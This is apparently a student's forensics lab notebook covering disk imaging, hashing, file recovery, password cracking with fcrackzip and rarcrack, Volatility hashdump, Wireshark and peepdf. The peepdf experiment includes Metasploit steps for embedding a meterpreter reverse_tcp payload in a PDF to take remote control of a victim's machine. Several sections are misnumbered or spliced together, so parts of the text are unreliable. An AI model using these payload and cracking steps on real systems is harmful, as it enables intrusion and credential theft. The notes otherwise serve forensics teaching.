Experiment-1

Title: Learn how to acquire Disk Image.

Lab Senario:-
A kali linux machine to execute the imaging commands.

Lab objective:
* How to acquire image of a physical or logical disk?
* How to use dd, dcfldd and dc3dd commands?
* How to wipe a data safley of a disk.?

Lab Environments:-
* A kali linux installed on a machine.

Lab Tasks:-
Disk imaging: dd, dcfldd, dc3dd.

1) Listing the discks of a machine:-
• fdisk -l

2) dd in kali linux:-
• dd if=/dev/sda3 of=evidence.dd bs=512 conv=noerror, sync

→ To wipe data safley of a disk:-
• dd if=/dev/zero of=/dev/sdc bs=1M

**3) dcfldd in kali linux:-
features:-
→ on-the-fly hashing
→ Status output
→ Image wipe & verify
→ Multiple outputs
→ split output
→ Log output

• dcfldd if=/dev/sda3 hash=md5, sha256 hashwindow=1G md5log=/root/md5.txt sha256log=/root/sha256.txt hashconv=after conv=noerror, sync of=/root/driveimage.dd

→ if=/dev/sda3 - designated drive.
→ hash=md5, sha256 → designated type of hashes to be created.
→ hashwindow=1G → amount of data should be read & copied into disk.
→ md5log=/root/md5.txt sha256log=/root/sha256.txt → hash logs are going to be printed into two files within the root
→ hashconv=after → hash values will be written after disk conversation.

* Conv = noerror, sync → there a read errors when creating the disk image
* of = /root/driveimage.dd → disk image file is created and will be written in home folder
. chmod a-w /root/driveimage.dd in order to change the permission to read only.

4) dc3dd in kali linux:-
. dc3dd if = /dev/sda of = /dev/sdc hash = md5 log = /mnt/usbstick/[incidentname]dc3dd.log

Conclusion:-

~~Acquired~~ The disk image has been created. This is essential for analyzing the contents without touching the original drive. We acquired the ~~dist~~ image of a disk by the dd, dcfldd, dc3dd commands in kali linux. We can wipe the data by using dd command in the kali linux Sarfley.

Experiment-2

Title:- Study the use of md5deep hashing tool to compute the hashes of the directories and compare them to check the integrity of the directories.

Lab Scenario:-
A kali linux machine to execute the hashing commands.

Lab objective:-
* The md5deep command shows you how to take hashes of dictories recursively.
* The different modes of md5deep for hashing.

Lab Environment:-
* A kali linux installed on machine.

Lab Task:-
md5deep is set of programms to compute MD5, SHA-1, SHA-256, Tiger (or) whirlpool.

key features:-
1. Recurisve Mode
2. Comparison/Machine mode.
3. Time Estimation
4. Piecewise hashing - Hash inputs files in arbitary sized blocks
5. File type mode.

Basic Commands:-
- ~~md5~~sum dir/*
  → It will take all the ~~hashes~~ md5 files into a directory.
- md5deep -r -s /dir1 > dir1sums
  read that files and compare with 2nd directory
- md5deep -r -x dir1Sums /dir2
  If then is no output then both hashes are same.

Computing hashes:-
1) Recursive Mode:-
It is activated by using -r flag.
- md5deep /home/my_dir/*
- md5deep -r *

2) Time Estimation Mode:- → -e flag to activate this.
- md5deep -e /dev/hda1

3) File size mode: -z flag to active.

- md5deep -z *

4) Matching Mode:-

1) Postive Matching :- -m flag.

- md5deep -m saved-hashes.txt *
- md5deep -M saved-hashes.txt * → with filename.
- md5deep -wM saved-hashes.txt * → with file size & file name.
- md5deep -a saved-hashes.txt * → to append → enable matching mode and add single hash.

2) Negative Matching :- -x flag.

- md5deep -x saved-hashes.txt *
- md5deep -X saved-hashes.txt *
- md5deep -wX

5) Advanced Matching mode:

1) with file match :-

- md5deep -m saved-hashes.txt *
- md5deep -wm saved-hashes.txt *
- md5deep -wx saved-hashes.txt *

2) Unused hashes :- -n flag

- md5deep -nm saved-hashes.txt *

Conclusion :-

To perform file integrity, to generate hash codes of directories by using suitable commands

Experiment-3

Title: Imaging a disk using AccessData FTK Imager on windows.

Lab Scenario:

A windows machine & AccessData FTK Imager Software are provided. we have to take image of disk so that & it can be analysed.

Lab objective:

* How to take image of disk on windows machine.

Lab Environment:

* A windows os installed on a machine.
* AccessData FTK Imager installed on the windows machine.

Lab Tasks:

1) Launch FTK Imager
2) Click on File → create disk image
3) Select logical drive & Click Next
4) Select the desired drive
5) In create image windows add destination image
6) Select raw dd data format and click Next
7) Enter information about the case for the image.
8) Select the floder in which image file will be placed.
9) Select image fragment size of 1500 MB and click finish.
10) Make sure to click verify images after they are created Check box
11) The image is created.
12) View drive image verify results and image Summary.

Conclusion:

The disk image has been created. This essential for analyzing the contents without touching the original file.

Experiment-4.1

Title:- To use a forensic tool foremost in order to recover files.

Lab Scenario:-

We will use a forensic tool to restore the contents of captured RAM's image and get to know what files were deleted from the given RAM.

Lab objective:

* How to recover deleted files from RAM image?

Lab tasks:-

Steps to use foremost:-

1. Capture a RAM image
2. To view the details for the forensic tool foremost use.

   # foremost -h
3. To restore the deleted files.

   foremost -t <type of file format eg. jpeg> -i <directory/image name from where the deleted files need to be restore> -o <directory/folder name where the restored files are saved>.

   # foremost -t pdf, jpeg, gif -i usingdd.img -o out

Conclusion:-

The contents of the captured RAM's image has been restored and found the files deleted from the given RAM using foremost.

Experiment - 4.2

Title:- Using a Vinetto forensic tool to analyzie Thumbs.db files and extract data.

Lab Scenario:-
In this lab we will use Vinetto forensic tool to analyze the contents of folder using the Thumbs.db file present in the folder and to extract the content in the form of thumbnails and display the details.

Lab Task:-
Vinetto tool operate in 3 modes:-
1) Elementary mode: extracts thumbnails & metadata from chosed Thumbs.db file.
2) Directory mode:- Checks the consistency b/w the content of the directory and related Thumbs.db file
3) File system mode:
will process the whole FAT or NTFS Partition.

Lab objective:
* How Vinetto to works and how it can be used to extract data
*

Lab environment:-
* suspected machine's Thumbs.db file
* Machine with kali linux.

Lab Tasks:- * open terminal & type ↙ to ensure you have vinetto tool or not

```
# vinetto -h
```

* Ensure you have Thumbs.db file already present

```
#find /-name Thumbs.db
```
→ To search for all Thumbs.db files.

* `# vinetto -Ho Thumbs Thumbs.db` → command to extract the files into the Thumbs file.

Conclusion:- The content of the folder has been analyzed using thumbs.db files in the folder and extracted the content in thumbnails format using vinetto forensic tool.

Experiment-3

Title: Using Galleta tool to study Cookies created in during browsing

Lab Scenario:-

A windows machine Contains various unreadable Cookie file in non-user readable format. Converting it in to user readble format

Lab objective:-

* How to use "galleta" forensic tool to decrypt the file.

Lab Environment:

* Few Cookie files.

Lab tasks:

Syntax: galleta

Usage: galleta [options] <filename> -d Field Delimiter [TAB by default]

Steps:

* Sklect Live (forensic mode)
* Open terminal and type galleta to ensure you have galleta tool
* Copy the cookie file into the folder you want to keep.
* Type the Command →

galleta <file name> <Destination file>

Eg: galleta 39VP8G7I.txt > Output.txt

Conclusion:

By using galleta tool we can study Cookies created in during browsing.

Experiment no: 6.1

Title :- Using a password forensic tool, to crack zip and rar password protected files.

Lab Scenario:-

A zip and a rar archive is password protected which carrier sensitive data. Using a password forensic tool we will try to break the password.

Lab objective:-

- How use "fcrackzip" password forensic tool.
- How use "rarcrack" password forensic tool.

Lab Environment:-

- A kali machine (or bootable pen drive or CD of kali linux.

Lab tasks:-

-B → Benchmark

fcrackzip -B
cpmask: (skipped)
zip1, TARGET_CPU=0: cracks/s = 2605800
zip2, TARGET_CPU=0, USE_MULT_TAB: cracks/s = 291643
zip3, TARGET_CPU=5: cracks/s = 2654230
zip4, TARGET_CPU=5, USE_MULT_TAB: cracks/s = 3457467

*fcrackzip -v -m zip6 -l 4-8 -u secret.zip.

→ V is for verbose & gives better output.
→ m specifies the mode to use
→ l specifies the minimum length to maximum password length.
→ u tells the program to test the password with unzip before declaring it correct.

* fcrackzip -v -D -u -p /usr/share/dict/wordssecret.zip.

-D → to speify dictornary based attack.

Syntax-

fcrackzip -u -c <your password charcter type> -p<total digits> zip file path

Ex:

fcrackzip -u -c 1 -p aaaaaaaa '/root/Desktop/Test.zip'

Ex:- fcrackzip -u -c 1 -l 4-8 '/root/Desktop/Test.zip'

Ex:- fcrackzip -u -c a -p aaaaaaaa '/root/Desktop/Test1.zip'

Ex:- fcrackzip -u -D -p '/root/Desktop/dic' '/root/Desktop/Test.zip'

fcrackzip -u -c Aa1:@ -l u-8 '/root/Desktop/Test2.zip.

Rar crack:-

rarcrack your_encrypted_archive.extension [--threads thread_num] [--type rar|zip|7z]

Conclusion:

By using "fcrackzip" and "rarcrack" tool we will by to break the password protected files

Experiment - 1

Title: Learn art of steganography.

Lab Scenario:-

To hide a text message behind the image

Lab Environment:

A windows machine having jpg images.

Lab Tasks:

Copy /b Source_Image + text_file output_Image.

Stegnography is the art of covered or hidden writing. The propose of steganography is convert communication to hide a message from a third party.

Steganography = medium = hidden_message + Carrier + steganography_key.

~~Configuration~~ Command:

Step 1: Download ipg file

Step 2: Create a notepad with text that has to be hidden into ipg file.

step 3: Go to command prompt run command cd and go to folder destination where files are present.

Step 4: Type copy document Command prompt run command.

Conclusion: It is a form of data hiding. In this we are hiding a secret msg within the image using encoding and decoding.

Experiment - 8.1

Title: Memory forensic tool to capture RAM's [Volatile memory] image.

Lab Scenario:-
In this Lab, we will take an image of RAM memory on a machine.

Lab objective:-
- How to take an image of RAM on windows machine.
- How to take an image of RAM on linux machine.

Lab Environment:-
* A windows machine to take a memory image of RAM.
* A Linux machine.
* Bootable pendrive (or CD of kali linux
* A Pendrive or CD to copy the memory image into it (:Note:- Memory size of pendrive [CD should be enough i.e, little more than RAM size).

Lab tasks:-
RAM Analysis:
* RAM capture is the process of capturing live memory from a running Computer System RAM analysis consists of performing forensic analysis on the data gathered from the live computer.
* After Conducting a memory dump on any live machine to capture RAM, the memory image can be used to determine information about running programs, the operating system and the overall state of a computer as well as to locate deleted or temporary information that might otherwise not be found on a normal image.
* Until recently, RAM analysis and capture was not a mandatory step in investigations or even in triage situations where analysts were attempting to gather forensic data on site.
* Volatile memory access (live forensic) is useful in law enforcement Situations where data would be lost by powering of a Suspect machine.
* The longer a machine is off the more data becomes lost.
* The following can be found using RAM capture:
Processor, Network connections, open files/configurations/Encryption keys, open/Active Registry keys, Exploit-related information, zero-day attacks and root kits and kernal level structures.

RAM Capture Tools:

* Dumpit
* Lime.

1) Dumpit [windows tool] → http://www.moonsols.com/2011/07/18/moonsols-dumpit-goes-mainstream/.

Step 1: Download Dumpit

Step 2: Extract the files and click on the Dumpit.exe, press y to proceed.

2) Lime [Linux tool]

Step 1: Download Lime forensics.

Step 2: Go to download directory and Unzip the Lime-master.zip file

Step 3: # Cd Lime-master/src

Step 4: # make

Step 5: Create Lime forensics Image

Instructions:

1) # mkdir /var/tmp/image

2) # insmod lime-2.6.24-16-Server.ko path = /var/tmp/image/ram lime format = lime.

3) # ls.

Conclusion:

Using dumpit on windows and on linux lime, I am able to Capture an image of rams memory.

RAM

Experiment - 8.2

Title: Using a memory forensic tool to analyse RAM's data

Lab Scenario:-

In this lab, we will take an image of RAM memory on a machine. Then we will use a memory forensic tool to analyze the contents of captured RAM's image and get to know what processes were running on the machine and many other details.

Lab Objective:-

* How to take an image of RAM on windows machine.
* what is Volatility & how to use it to analyze memory images.
* Different options that volatility tool provides for memory forensics.

Lab Environment:-

* A windows machine
* A Bootable pendrive or CD of kali linux
* A pendrive to copy the memory image on it

RAM Analysis tool:

* Volatility : A tool capable of analyzing RAM from a memory dump disk image
* Volix : Tool that provide GUI for volatility.
* Volatox : A tool capable of analyzing RAM memory image of mac

Steps in RAM Analysis:

* Capturing RAM memory image
* Gather additional information about system using captured RAM image

1) Capturing memory image on windows :-

→ Dumpit / win64dd

→ FTK Imager

2) Gathering additional information using volatility on kali linux :-

Steps to analyze a windows machine RAM image using Volatily:-

* Open a new terminal window and enter the following commands in order to launch the volatility shell with available python - based features

```
$cd /usr/share/volatility
$ python vol.py -h
```

* Now we will examining Captured RAM dump in Volatility.
* To find basic data about the machine on which the memory dump was Conducted

$ python Vol.py imageinfo -f /root/memdump.mem

At this point, we only need to know the profile type of memory dump, in this case win2008SP1x86. we will use this in the next few steps

* In order to get the SAM login data & the hash value for the login password

$ Python Vol.py hivelist -- profile = win2008SP1x86 -f /root/memdump.mem.

* we now have a list of where several key items are located in the memory dump. Next we will extract the password hashes from the memory dump. Then output the password hashes ~~from~~ into ~~the~~ text file called 'hash.txt'.

$ python Vol.py hashdump -- profile = Win2008SP1x86 -f /root/memdump.mem -y 0x86226008-s 0x89C33450 > /root/hash.txt

* In addition to gathering hashes for SAM data it is also possible to view processes that were running at the time of memory dump.

$ python Vol.py pslist -- profile = Win2008SP1x86 -f /root/memdump.mem.

Note the following Columns:-

Offset : The location of RAM of the process, in hexadecimal
Name : The process name, as it would be shown in task manager.
PID : The process ID.
PPID : The parent process ID that is the process that launched this process

* It is also possible to see any recent console commands that have been executed.

python Vol.py consoles -- profile = Win2008SP1x86 -f /root/memory dump.mem

* Finally it is also possible to see the services that were running at the time of memory dump.

$ python Vol.py svcscan -- profile = Win2008SP1x86 -f /root/memdump.mem/more

Conclusion: we ~~were~~ am able to capture RAM's image and analyse its contents

Experiment : 9

Title: Network forensics with wireshark

Theory: wireshark is a network analysis tool that captures packets in real time and displays them in a readable format. wireshark provides a variety of options such as filters, color coding and other features that let you analyze network traffic and inspect individual packets. It is most often used for network troubleshooting, analysis software and communications protocol development and network forensics.

wireshart is a robust program that allows for the following:

- Using filters can greatly assist in a narrowing data as wireshark tends to generate a lot of data that may not at all be useful.
- wireshark can read live data from multiple network types including Ethernet & IEEE 802.11.
- wireshark can capture raw USB traffic
- wireshark has a GUI for analysis; however it also have a command line version called Tshark.
- Data can be captured directly from a line network or read from already-captured packets.
- VoIP calls and their data can be captured from network traffic. If the encoding is compatible the VoIP media can even be played

Forensic Applications:

In the scope of a digital forensics based investigation. wireshark can be immensely helpful especially in finding and displaying emails that could be potential evidence. for example wireshark can be used to catch a suspect who is stealing a victims wireless Internet to make fraudulent online purchases. By using wireshark as a network monitoring tool it is possible to find the IP or MAC address of the suspect and to see what sites he or she is visiting

Lab objective:

1) Analyze SMTP (email, Skype, HTTP, TCP and DHCP traffic)
2) Open and run wireshark on the local network to gather some basic network traffic.
3) Apply wireshark filters to narrow data.
4) Identify and intercept SMPT (email) traffic.
5) Identify and intercept Skype text chat traffic.

6) Identify HTTP traffic.
7) Set wireshark preferences to alert the users to ARP prisoning on the network.
8) Set wireshark preferences to resolve HTTP addresses

Part-1: Run wireshark and Gather Network Information.

1) TCP: The protocol that controls any inter electronic communication 3-way handshake - SYN, SYN/ACK & ACK packets
2) FTP: The protocol used for file sharing.
3) SMTP: The protocol used for email.
4) HTTP: The protocol used for websites.

Part-2: Applying wireshark Filters.

Part-3: Identify and Intercept SMTP (email) Traffic

Part-4: Identify and Intercept Skype information.

Part-5: Setting wireshark preferences for ARP prisoning Detection

-> Edit >> Preferences
-> Protocols >> ARP/RARP
-> Detect ARP request storms.
-> Detect Duplicates IP address configation
-> click Apply.

Part-6: Setting wireshark preferences for HTTP Name Resolution.

-> Edit >> Preferences.

Conclusion:-

wireshark is a network analysis tool that captures packets in real time All the wireshark filters were applied and ~~executed~~ Scanned

Experiment - 10

Title: Using a peepdf forensic tool to analyze PDF files to check if it's malicious or not.

Lab Scenario: In this tool lab, we will use a peepdf forensic tool, to analyze the contents of pdf files and get to know where the malicious content present and many other details

Lab Objective:

This lab provides insight into:

1) what is peepdf and how to use it to analyze pdf files
2) Different options that peepdf tool provides for memory forensics.

Tool Description:

1) **PeePdf:** Peepdf is a python tool to explore PDF files in order to find out if the files can be harmful or not. The aim of this tool is to provide all the necessarily components that a security researcher could need in a PDF analysis without using 3rd tools to makes all the tasks.

With the installation of PyV8 and pylibemu it provides javascript and shellcode analysis wrappers too. Apart of this it is able to create new PDF files, modify existent ones and obfuscate them.

Lab environment: To carry out this lab you need:

1) Kali linux machine.
2) Suspected pdf files

Lab Tasks: # Peepdf -h.

-x, --xml - shows the document information in XML format

Peepdf -x <File name>

Peepdf -i <File name> (interactive)

↳ Gives meta data of the files

PPDF > metadata [to see more details about pdf]

PPDF > object <No> [check if it is a malicious file]

Lab Tasks to Create malicious PDF:

1) we will alter a pdf file that you have. when someone open it, it will activate a listener (a rootkit) on their system and give us total control of their computer remotely. start by firing up Metasploit. If you haven't updated your Metasploit yet type msfupdate at the msf prompt.

2) Find the appropriate exploit by searching Metasploit for one that will use this version of adobe reader.

1) msf > search type : exploit platform : windows adobe pdf.

2) msf > use exploit / windows / fileformat / adobe_pdf_embeded_exe

3) Now take a look at the information available to us about this exploit. This is done by:

msf > exploit (adobe_pdf_embedded_exe) > info

4) we need to set over payload to embeded into the pdf.

msf > exploit (adobe_pdf_embeded_exe) > set payload windows/meterpreter/reverse_tcp

5) Now that we have chosen over exploit and set over payload, the only thing left to do is to set our options.

msf > exploit (adobe_pdf_embedded_exe) > show options

→ Name Resolution

→ check Resolve network (IP) addresses box.

Conclusion:-

Wireshark is a network analysis tool that captures packets in real time. All the wireshark filters were applied and executed.

By using peepdf forensic tool here can analyse pdf files and check whether it is malicious or not.

28/12/22